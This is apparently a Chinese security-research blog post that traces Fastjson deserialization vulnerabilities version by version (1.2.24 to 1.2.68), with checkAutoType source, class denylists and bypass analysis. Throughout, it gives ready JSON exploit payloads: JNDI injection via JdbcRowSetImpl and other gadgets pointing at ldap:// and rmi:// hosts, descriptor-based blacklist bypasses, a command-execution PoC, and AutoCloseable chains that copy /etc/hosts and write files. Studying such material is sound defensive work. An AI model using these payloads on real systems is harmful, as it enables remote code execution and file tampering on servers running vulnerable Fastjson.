Person{name='null', age=20, email='student@school.com'}} 不带类名序列化: {"age":20,"email":"student@school.com","school":"清华大学"} 带类名序列化: {"@type":"org.hantest.fastjsontest1.NonPublicFieldTest$1Student","age":20,"email":"student@school.com","school":"清华大学"} 不带类名反序列化为Person: Person{name='null', age=20, email='student@school.com'} 类型: Person 注意: 内部类使用WriteClassName可能会有问题,建议使用顶级类测试 Process finished with exit code 0
1.2.24-1.2.47的一些变化总结: 合在一起讲是因为有通杀<=1.2.47的版本(一小部分不适用后面说)
所以了解一下大概的变化和新的特性即可
Fastjson 在 1.2.25
之后引入了 checkAutoType
方法,
并且默认情况下 autoTypeSupport 关闭
checkAutoType对传入的类名做以下判断:
是否在 白名单 中
是否在 黑名单 中
是否是系统类或自定义类
是否打开了 autoTypeSupport
我们可以查看 com.alibaba.fastjson.parser.ParseConfig
的源码可以看到加入了黑名单字眼
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload,org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss,org.mozilla.javascript org.python.core org.springframework
添加反序列化白名单有3种方法:
使用代码进行添加:ParserConfig.getGlobalInstance().addAccept(“org.su18.fastjson.,org.javaweb.”)
加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=org.su18.fastjson.
在fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.su18.fastjson.
在版本 1.2.42 中,fastjson 继续延续了黑白名单的检测模式,但是将黑名单类从白名单修改为使用 HASH 的方式进行对比,这是为了防止安全研究人员根据黑名单中的类进行反向研究,用来对未更新的历史版本进行攻击。同时,作者对之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。
checkAutoType的逻辑很重要: 如果开启了 autoType,先判断类名是否在白名单中,如果在,就使用 TypeUtils.loadClass
加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常。如果既不在白名单也不在黑名单后续的加载里也会加载这个类
如果没开启 autoType ,则是先使用黑名单匹配,再使用白名单匹配和加载。最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了 autoType 或者 expectClass 不为空也就是指定了 Class 对象时才会调用 TypeUtils.loadClass
加载。
在fastjson的checkAutoType方法中,如果一个类既不在白名单也不在黑名单 ,其实会继续尝试加载这个类 ,而不是直接拒绝。
具体的checkAutoType逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (autoTypeSupport) { if (acceptHashCodes != null && acceptHashCodes.contains(hash)) { return TypeUtils.loadClass(typeName, defaultClassLoader, false ); } if (denyHashCodes != null && denyHashCodes.contains(hash)) { throw new JSONException ("autoType is not support. " + typeName); } } Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null ) { clazz = deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } if (!autoTypeSupport) { throw new JSONException ("autoType is not support. " + typeName); } return TypeUtils.loadClass(typeName, defaultClassLoader, false ); }
在 autoTypeSupport = true
的情况下,既不在白名单也不在黑名单的类,会继续执行后续的类加载逻辑,最终会调用 TypeUtils.loadClass
尝试加载这个类。
1.2.47的链子分析: 这段分析出自https://www.javasec.org/java-vuls/FastJson.html
讲的很好就不赘述了(偷懒实则)
在 fastjson 不断迭代到 1.2.47 时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。
影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport
影响版本:1.2.33 <= fastjson <= 1.2.47
这次的绕过问题还是出现在 checkAutoType()
方法中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { if (typeName == null ) { return null ; } if (typeName.length() >= 128 || typeName.length() < 3 ) { throw new JSONException ("autoType is not support. " + typeName); } String className = typeName.replace('$' , '.' ); Class<?> clazz = null ; final long BASIC = 0xcbf29ce484222325L ; final long PRIME = 0x100000001b3L ; final long h1 = (BASIC ^ className.charAt(0 )) * PRIME; if (h1 == 0xaf64164c86024f1aL ) { throw new JSONException ("autoType is not support. " + typeName); } if ((h1 ^ className.charAt(className.length() - 1 )) * PRIME == 0x9198507b5af98f0L ) { throw new JSONException ("autoType is not support. " + typeName); } final long h3 = (((((BASIC ^ className.charAt(0 )) * PRIME) ^ className.charAt(1 )) * PRIME) ^ className.charAt(2 )) * PRIME; if (autoTypeSupport || expectClass != null ) { long hash = h3; for (int i = 3 ; i < className.length(); ++i) { hash ^= className.charAt(i); hash *= PRIME; if (Arrays.binarySearch(acceptHashCodes, hash) >= 0 ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false ); if (clazz != null ) { return clazz; } } if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null ) { throw new JSONException ("autoType is not support. " + typeName); } } } if (clazz == null ) { clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz == null ) { clazz = deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } if (!autoTypeSupport) { long hash = h3; for (int i = 3 ; i < className.length(); ++i) { char c = className.charAt(i); hash ^= c; hash *= PRIME; if (Arrays.binarySearch(denyHashCodes, hash) >= 0 ) { throw new JSONException ("autoType is not support. " + typeName); } if (Arrays.binarySearch(acceptHashCodes, hash) >= 0 ) { if (clazz == null ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false ); } if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (clazz == null ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false ); } if (clazz != null ) { if (TypeUtils.getAnnotation(clazz,JSONType.class) != null ) { return clazz; } if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz) ) { throw new JSONException ("autoType is not support. " + typeName); } if (expectClass != null ) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } else { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } } JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy); if (beanInfo.creatorConstructor != null && autoTypeSupport) { throw new JSONException ("autoType is not support. " + typeName); } } final int mask = Feature.SupportAutoType.mask; boolean autoTypeSupport = this .autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0 ; if (!autoTypeSupport) { throw new JSONException ("autoType is not support. " + typeName); } return clazz; }
由以上代码可知,这里存在一个逻辑问题:autoTypeSupport 为 true 时,fastjson 也会禁止一些黑名单的类反序列化,但是有一个判断条件:当反序列化的类在黑名单中,且 TypeUtils.mappings 中没有该类的缓存时,才会抛出异常。这里就留下了一个伏笔。就是这个逻辑导致了 1.2.32 之前的版本将会受到 autoTypeSupport 的影响。
在 autoTypeSupport 为默认的 false 时,程序直接检查黑名单并抛出异常,在这部分我们无法绕过,所以我们的关注点就在判断之前,程序有在 TypeUtils.mappings 中和 deserializers 中尝试查找要反序列化的类,如果找到了,则就会 return,这就避开下面 autoTypeSupport 默认为 false 时的检查。如何才能在这两步中将我们的恶意类加载进去呢?
先看 deserializers ,位于 com.alibaba.fastjson.parser.ParserConfig.deserializers
,是一个 IdentityHashMap,能向其中赋值的函数有:
getDeserializer()
:这个类用来加载一些特定类,以及有 JSONType
注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。
initDeserializers()
:无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。
putDeserializer()
:被前两个函数调用,我们无法控制入参。
因此我们无法向 deserializers 中写入值,也就在其中读出我们想要的恶意类。所以我们的目光转向了 TypeUtils.getClassFromMapping(typeName)
。
同样的,这个方法从 TypeUtils.mappings
中取值,这是一个 ConcurrentHashMap 对象,能向其中赋值的函数有:
addBaseClassMappings()
:无入参,加载
loadClass()
:关键函数
接下来看一下 loadClass()
的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { if (className == null || className.length() == 0 ){ return null ; } Class<?> clazz = mappings.get(className); if (clazz != null ){ return clazz; } if (className.charAt(0 ) == '[' ){ Class<?> componentType = loadClass(className.substring(1 ), classLoader); return Array.newInstance(componentType, 0 ).getClass(); } if (className.startsWith("L" ) && className.endsWith(";" )){ String newClassName = className.substring(1 , className.length() - 1 ); return loadClass(newClassName, classLoader); } try { if (classLoader != null ){ clazz = classLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch (Throwable e){ e.printStackTrace(); } try { ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if (contextClassLoader != null && contextClassLoader != classLoader){ clazz = contextClassLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch (Throwable e){ } try { clazz = Class.forName(className); mappings.put(className, clazz); return clazz; } catch (Throwable e){ } return clazz; }
由以上代码可知,只要我们能够控制这个方法的参数,就可以往 mappings 中写入任意类名。 loadClass
一共有三个重载方法,如下图:
我们需要找到调用这些方法的类,并看是否能够为我们控制:
Class<?> loadClass(String className, ClassLoader classLoader, boolean cache)
:调用链均在 checkAutoType()
和 TypeUtils
里自调用,略过。
Class<?> loadClass(String className)
:除了自调用,有一个 castToJavaBean()
方法,暂未研究。
Class<?> loadClass(String className, ClassLoader classLoader)
:方法调用三个参数的重载方法,并添加参数 true ,也就是会加入参数缓存中,
重点看一下两个参数的 loadClass
方法在哪调用:
在这里我们关注 com.alibaba.fastjson.serializer.MiscCodec#deserialze
方法,这个类是用来处理一些乱七八糟类的反序列化类,其中就包括 Class.class
类,成为了我们的入口。
如果 parser.resolveStatus
为TypeNameRedirect
时,进入 if 语句,会解析 “val” 中的内容放入 objVal 中,然后传入 strVal 中。
后面的逻辑如果 class 是 Class.class
时,将会调用 loadClass
方法,将 strVal 进行类加载并缓存:
这就完成了恶意类的加载,组成了我们所有的恶意调用链。但是如何在第二步进入 if 语句呢?这中间的调用链是什么样的呢?我们先构造一个 json :{"@type":"java.lang.Class","val":"aaaaa"}
,调试一下:
JSON.parseObject()
调用 DefaultJSONParser
对 JSON 进行解析。
DefaultJSONParser.parseObject()
调用 checkAutoType()
检查待加载类的合法性。
由于 deserializers 在初始化时将 Class.class
进行了加载,因此使用 findClass 可以找到,越过了后面 AutoTypeSupport 的检查。
DefaultJSONParser.parseObject()
设置 resolveStatus 为 TypeNameRedirect。
DefaultJSONParser.parseObject()
根据不同的 class 类型分配 deserialzer,Class 类型由 MiscCodec.deserialze()
处理。
解析 json 中 “val” 中的内容,并放入 objVal 中,如果不是 “val” 将会报错。
传递至 strVal 并使用 loadClass
加载并缓存。
此时恶意的 val 成功被我们加载到 mappings 中,再次以恶意类进行 @type
请求时即可绕过黑名单进行的阻拦,因此最终 payload 为:
1 2 3 4 5 6 7 8 9 10 11 { "su18" : { "@type" : "java.lang.Class" , "val" : "com.sun.rowset.JdbcRowSetImpl" } , "su19" : { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://127.0.0.1:23457/Command8" , "autoCommit" : true } }
补充: 注意上面的影响范围
影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport
影响版本:1.2.33 <= fastjson <= 1.2.47
那么为什么在1.2.25 <= fastjson <= 1.2.32 开启 AutoTypeSupport的情况下就不行了?
1.2.47下的其他版本的历史漏洞总结 2. fastjson-1.2.25 在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。
影响版本:1.2.25 <= fastjson <= 1.2.41
描述:作者通过为危险功能添加开关,并提供黑白名单两种方式进行安全防护,其实已经是相当完整的防护思路,而且作者已经意识到黑名单类将会无穷无尽,仅仅通过维护列表来防止反序列化漏洞并非最好的办法。而且靠用户自己来关注安全信息去维护也不现实。
安全更新主要集中在 com.alibaba.fastjson.parser.ParserConfig
,首先查看类上出现了几个成员变量:布尔型的 autoTypeSupport,用来标识是否开启任意类型的反序列化,并且默认关闭;字符串数组 denyList ,是反序列化类的黑名单;acceptList 是反序列化白名单。
其中黑名单 denyList 包括:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
添加反序列化白名单有3种方法:
使用代码进行添加:ParserConfig.getGlobalInstance().addAccept(“org.su18.fastjson.,org.javaweb.”)
加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=org.su18.fastjson.
在fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.su18.fastjson.
看一下 checkAutoType()
的逻辑,如果开启了 autoType,先判断类名是否在白名单中,如果在,就使用 TypeUtils.loadClass
加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常。
如果没开启 autoType ,则是先使用黑名单匹配,再使用白名单匹配和加载。最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了 autoType 或者 expectClass 不为空也就是指定了 Class 对象时才会调用 TypeUtils.loadClass
加载。
接着跟一下 loadClass
,这个类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的 [
、L
、;
字符。
因此就在这个位置出现了逻辑漏洞,攻击者可以使用带有描述符的类绕过黑名单的限制,而在类加载过程中,描述符还会被处理掉。因此,漏洞利用的思路就出来了:需要开启 autoType,使用以上字符来进行黑名单的绕过。
最终的 payload 其实就是在之前的 payload 类名上前后加上L
和;
即可:
1 2 3 4 5 { "@type" : "Lcom.sun.rowset.JdbcRowSetImpl;" , "dataSourceName" : "ldap://127.0.0.1:23457/Command8" , "autoCommit" : true }
3. fastjson-1.2.42 在版本 1.2.42 中,fastjson 继续延续了黑白名单的检测模式,但是将黑名单类从白名单修改为使用 HASH 的方式进行对比,这是为了防止安全研究人员根据黑名单中的类进行反向研究,用来对未更新的历史版本进行攻击。同时,作者对之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。
影响版本:1.2.25 <= fastjson <= 1.2.42
描述:一点也不坦诚,学学人家 jackson,到现在还是明文黑名单。而且到目前为止很多类已经被撞出来了。
还是关注 com.alibaba.fastjson.parser.ParserConfig
这个类,作者将原本的明文黑名单转为使用了 Hash 黑名单,防止安全人员对其研究。
并且在 checkAutoType 中加入判断,如果类的第一个字符是 L
结尾是 ;
,则使用 substring进行了去除。写判断也不好好写,非要写 hash 。
但是这种判断完全是徒劳的,因为在最后处理时是递归处理,因此只要对描述符进行双写即可绕过:
1 2 3 4 5 { "@type" :"LLcom.sun.rowset.JdbcRowSetImpl;;" , "dataSourceName" :"ldap://127.0.0.1:23457/Command8" , "autoCommit" :true }
4. fastjson-1.2.43 这个版本主要是修复上一个版本中双写绕过的问题。
影响版本:1.2.25 <= fastjson <= 1.2.43
描述:上有政策,下有对策。在 L
、;
被进行了限制后,安全研究人员将目光转向了 [
。
可以看到用来检查的 checkAutoType
代码添加了判断,如果类名连续出现了两个 L
将会抛出异常,
这样使用 L
、;
绕过黑名单的思路就被阻挡了,但是在 loadClass
的过程中,还针对 [
也进行了处理和递归,能不能利用 [
进行黑名单的绕过呢?
答案当然是可以的:
1 2 3 4 5 { "@type" : "[com.sun.rowset.JdbcRowSetImpl" [ , { "dataSourceName" : "ldap://127.0.0.1:23457/Command8" , "autoCommit" : true }
5. fastjson-1.2.44 这个版本主要是修复上一个版本中使用 [
绕过黑名单防护的问题。
影响版本:1.2.25 <= fastjson <= 1.2.44
描述:在此版本将 [
也进行修复了之后,由字符串处理导致的黑名单绕过也就告一段落了。
可以看到在 checkAutoType
中添加了新的判断,如果类名以 [
开始则直接抛出异常。
6. fastjson-1.2.45 在此版本爆出了一个黑名单绕过,实际上,黑名单是无穷无尽的,随着 fastjson 的版本更新,一定会有更多的黑名单爆出来,因为隔壁 jackson 都是明文黑名单的,只要隔壁一更新,大家都看到了,就会拿来看 fastjson。
影响版本:1.2.25 <= fastjson <= 1.2.45
描述:黑名单列表需要不断补充。
1 2 3 4 5 6 { "@type" : "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" , "properties" : { "data_source" : "ldap://127.0.0.1:23457/Command8" } }
7.fastjson<=1.2.62 基于黑名单绕过exp:
1 {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://x.x.x.x:9999/exploit"}";
8.fastjson<=1.2.66 也是基于黑名单绕过,autoTypeSupport属性为true才能使用,(fastjson>=1.2.25默认为false)以下是几个exp:
1 2 3 4 5 {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"} {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"} {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"} {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransacti on":"ldap://192.168.80.1:1389/Calc"}}
9.fastjson<=1.2.68 只找到分析的文章但是没找到这个版本的payload好像
https://forum.butian.net/share/2858
https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ
https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA
在这个版本当中官方修复了这个缓存的地方,
但是他更新了一个 safeMode
如果开启了safeMode,那么autoType就会被完全禁止。不过在这个版本里默认是为false,后面的版本默认为true会直接抛出异常。 接着在下面的if中判断是否在期望类的黑名单中,而AutoCloseable不在黑名单中,所以给expectClassFlag赋值为true。
来看一下这个checkAutoType函数
也是成功找到payloadhttps://blog.csdn.net/include_voidmain/article/details/124983839
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 { "@type": "java.lang.AutoCloseable", "@type": "sun.rmi.server.MarshalOutputStream", "out": { "@type": "java.util.zip.InflaterOutputStream", "out": { "@type": "java.io.FileOutputStream", "file": "/tmp/asdasd", "append": true }, "infl": { "input": { "array": "eJxLLE5JTCkGAAh5AnE=", "limit": 14 } }, "bufLen": "100" }, "protocolVersion": 1 }
还有更多的payload在下面这里只是随便拿出一个
详细的分析如下: 文章:Fastjson反序列化高危漏洞系列-part2:1.2.68反序列化漏洞及利用链分析 (上)_fastjson-1.2.68 jdbc反序列化poc-CSDN博客
本文具体分析 1.2.68
版本的反序列化漏洞,因为该漏洞再次实现了在autoType关闭的情况下绕过了ParserConfig#checkAutoType()
的安全检测。但具体的漏洞利用的危害程度要取决于目标服务的环境(这一点后面会说到),换言之,漏洞利用并不能做到非常通用,因此漏洞的严重性要稍逊于<= 1.2.47
版本的那个漏洞。
该漏洞的细节最初是 @浅蓝 发出来的,该讲的细节都提到了(参考[2][13]
)。
其实这个漏洞依旧是和ParserConfig#checkAutoType()
校验方法做对抗。通过public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features)
的代码可知,如果同时符合以下条件,则可以在autoType关闭的情况下,绕过ParserConfig#checkAutoType()
的安全校验,从而反序列化指定类 :
(1) expectClass
不为null
,且不等于Object.class
、Serializable.class
、Cloneable.class
、Closeable.class
、EventListener.class
、Iterable.class
、Collection.class
;
(2) expectClass
需要在缓存集合TypeUtils#mappings
中;
(3) expectClass
和typeName
都不在黑名单中;
(4) typeName
不是ClassLoader
、DataSource
、RowSet
的子类;
(5) typeName
是expectClass
的子类。
注:说到expectClass
(期望类),其实使用过fastjson进行JSON反序列化API的一定不陌生,比如:
1 2 3 Student stu2 = JSON.parseObject(testStr, Student.class);AI写代码java运行12
另外,在1.2.68
版本开始,新增了safeMode
加固模式(参考[10]
)。配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化Gadgets类变种攻击。但该模式默认是不开启的。所以不会影响该漏洞的执行流。 该模式的校验判断也是在ParserConfig#checkAutoType()
方法中。
什么形式的JSON字符串是指定了expectClass
的呢?
前面调试fastjson漏洞的时候发现调用ParserConfig#checkAutoType()
进行安全校验时,参数expectClass
的位置传入的都是null
。
使用IDEA查找下ParserConfig#checkAutoType()
方法的引用位置,可以看到以下两个地方的调用,是有传入expectClass
的:
JavaBeanDeserializer#deserialze();
ThrowableDeserializer#deserialze();
JavaBeanDeserializer
和ThrowableDeserializer
是fastjson中两个反序列化器,前者是默认反序列化器,后者是针对异常类对象的反序列化器。
这两个地方就是这个漏洞的两个利用点。下面分别来讲述。
2.1 Throwable 2.1.1 原理 先来看ThrowableDeserializer#deserialze()
。
在fastjson中,在对某个类型反序列化前,先要进行一次ParserConfig#checkAutoType()
检查,然后才是获取相应类型的反序列化器进行反序列化。
换言之,到达ThrowableDeserializer#deserialze()
前,就对一个通过@type
指定的异常类进行了ParserConfig#checkAutoType()
校验。进入到ThrowableDeserializer#deserialze()
后,词法分析器会继续遍历JSON字符串剩余的部分,如果紧接着的键还是一个@type
的话,就会将它的值,且Throwable.class
作为期望类expectClass
,一同传入ParserConfig#checkAutoType()
进行校验。 如果通过校验,则调用ThrowableDeserializer#createException()
方法进行异常类的实例化。 实例化后得到异常类对象,然后会调用它的setter方法。
2.1.2 PoC 接下来就是写一个有问题的异常类,去验证Throwable这个利用点。异常类CalcException
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package me.mole.exception;import java.io.IOException;public class CalcException extends Exception { private String command; public void setCommand (String command) { this .command = command; } @Override public String getMessage () { try { Runtime.getRuntime().exec(this .command); } catch (IOException e) { return e.getMessage(); } return super .getMessage(); } }
然后就是构造JSON字符串。 要注意的是,由于java.lang.Throwable
这个类不在缓存集合TypeUtils#mappings
中,所以未开启autoType的情况下,这个类是不能通过ParserConfig#checkAutoType()
的校验的。这里在JSON字符串中使用它的一个子类java.lang.Exception
,因为java.lang.Exception
是在缓存集合TypeUtils#mappigns
中的。 另外还有一个问题,就是我们的CalcException
类的危险操作是在getter方法中的,而前面提到,反序列化异常类过程中,只会执行到setter方法,并没有执行getter方法。 这里可以利用fastjson的JSONPath特性$ref
去引用指定对象的某个xxx
属性,从而访问该对象的getXXX()
方法(参考[8][9]
)。
因此构造JSON字符串如下:
1 2 3 4 5 6 { "x" : { "@type" : "java.lang.Exception" , "@type" : "me.mole.exception.CalcException" , "command" : "open -a Calculator" } , "y" : { "$ref" : "$x.message" } }
运行PoC后成功弹出计算器。
上述PoC只是为了验证Throwable这个利用点。实际上很少有异常类会使用到高危函数,所以目前还没见有公开的可针对Throwable这个利用点的RCE gadget。
不过@浅蓝倒是给出了一个非 RCE 的 gadget,它需要目标环境依赖selenium库。
2.1.3 依赖selenium的信息泄露gadget 这个gadget需要目标环境引入selenium依赖。
1 2 3 4 5 <dependency > <groupId > org.seleniumhq.selenium</groupId > <artifactId > selenium-api</artifactId > <version > 4.1.1</version > </dependency >
其中,org.openqa.selenium.WebDriverException
类的getMessage()
方法和getSystemInformation()
方法都能获取一些系统信息,比如:IP地址、主机名、系统架构、系统名称、系统版本、JDK版本、selenium webdriver版本。另外,还可通过getStackTrace()
来获取函数调用栈,从而获悉使用了什么框架或组件。
因此,可根据情况构造PoC(因为信息不一定能回显,取决于目标程序的代码实现),类似这样:
1 2 3 4 5 {"x" : {"@type" :"java.lang.Exception" , "@type" :"org.openqa.selenium.WebDriverException" }, "y" :{"$ref" :"$x.systemInformation" } }
场景的话可参考@浅蓝给的留言板Demo(参考[13]
)
2.2 AutoCloseable 2.2.1 原理 接着来看JavaBeanDeserializer#deserialze()
。
原理上,它跟ThrowableDeserializer#deserialze()
这个利用点是一样的,也是通过利用期望类expectClass
去绕过checkAutoType()
的安全校验。区别在于JavaBeanDeserializer#deserialze()
中的expectClass
参数是用户可控的,所以漏洞利用可发挥的空间更大。
现在公开的比较具有实战意义的gadget都使用了java.lang.AutoCloseable
作为expectClass
。之所以使用AutoCloseable
,而不是其它类,笔者觉得可能的原因如下:
java.lang.AutoCloseable
在TypeUtils#mappings
缓存集合中;
java.lang.AutoCloseable
使用fastjson默认的反序列化器JavaBeanDeserializer
;
通过查阅JDK文档可知,AutoCloseable
(即其子类对象)持有文件句柄或者socket句柄,所以它是很多类型的父接口(比如xxxStream、xxxChannel、xxxConnection)。因此即便无法找到RCE gadget,也可以找到实现文件读取或写入的gadget,从而可以根据目标环境实际情况串出RCE。
2.2.2 构造PoC时的坑-1:选对构造方法 fastjson在调用JavaBeanDeserializer#deserialze()
进行反序列化的过程中,会去寻找目标类的public
类型的构造方法:如果存在无参构造方法,则将其作为构造方法供后续实例化使用;否则使用参数数量最多且排在最前面的构造方法。(具体代码逻辑见JavaBeanInfo#build()
静态方法)
举个例子,我想通过fastjson反序列化java.io.FileOutputStream
来新建一个文件。FileOutpuStream的构造方法有多个,如下图: 而按照fastjson的代码逻辑,它会选择public FileOutputStream(File, boolean)
这个构造方法。如果你选择其它的,比如public FileOutputStream(String)
,构造JSON字符串如下:
1 2 3 4 5 { "@type" : "java.lang.AutoCloseable" , "@type" : "java.io.FileOutputStream" , "name" : "/Users/fa1c0n/tmp/test2.txt" }
结果抛异常,无法创建实例。从报错信息可以看到它调用的是public FileOutputStream(File, boolean)
这个构造方法。 故将JSON字符串改为:
1 2 3 4 5 6 { "@type" : "java.lang.AutoCloseable" , "@type" : "java.io.FileOutputStream" , "file" : "/Users/fa1c0n/tmp/test2.txt" , "append" : "false" }
运行后,成功反序列化,可以看到生成了文件/Users/fa1c0n/tmp/test2.txt
2.2.3 构造PoC时的坑-2:构造方法需带调试信息 笔者使用Oracle JDK8,系统是macOS,运行上面2.2.2 中FileOutputStream
的例子,会报default constructor not found
错误: 而使用OpenJDK 11.0.2 是可以正常运行的。
根据报错信息的函数调用堆栈查找原因。 可以看到,在JavaBeanInfo#build()
静态方法中,会调用ASMUtils.lookupParameterNames(constructor)
方法获取构造方法的参数名。如果没找到,则抛出上述异常。
问题就出在这里。原因是笔者安装的macOS环境的Oracle JDK 8u201,并没有保留包含有参数名的调试信息 。
可以使用javap -l \<class-name\>
查看指定类是否包含参数名信息。 下面来对比一下笔者安装的Oracle JDK 8u201
和OpenJDK 11.0.2
的java.io.FileOutputStream
类: 如上图,可以看到OpenJDK 11.0.2 中,是保留了局部变量表LocalVariableTable
的,即保留了局部变量名信息。
而具体哪个版本JDK存在调试信息,或不存在调试信息,这个并没有规律。因此,尽管存在仅依赖JDK的Gadget,但通用性是大打折扣的。不过好在多数的第三方库里的字节码是有LocalVariableTable
的 。
2.2.4 Gadget 1: 复制文件 依赖 :
1 2 3 4 5 <dependency > <groupId > org.aspectj</groupId > <artifactId > aspectjtools</artifactId > <version > 1.9.5</version > </dependency >
PoC :
1 2 3 4 5 { '@type': "java.lang.AutoCloseable" , '@type': 'org.eclipse.core.internal.localstore.SafeFileOutputStream', 'targetPath': '/Users/fa1c0n/tmp/hosts.txt', 'tempPath': '/etc/hosts'
浅析 : 因为SafeFileOutputStream()的构造方法里,当targetPath
不存在且tempPath
存在时,便会进行文件复制。
2.2.5 Gadget 2: 写文件 @浅蓝在文章中分享了他挖掘写文件gadget的思路:
需要一个通过 set 方法或构造方法指定文件路径的 OutputStream;
需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法调用传入的 OutputStream 的 flush 方法.
依赖 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <dependency > <groupId > org.aspectj</groupId > <artifactId > aspectjtools</artifactId > <version > 1.9.5</version > </dependency > <dependency > <groupId > com.esotericsoftware</groupId > <artifactId > kryo</artifactId > <version > 4.0.0</version > </dependency > <dependency > <groupId > com.sleepycat</groupId > <artifactId > je</artifactId > <version > 18.3.12</version > </dependency >
PoC :
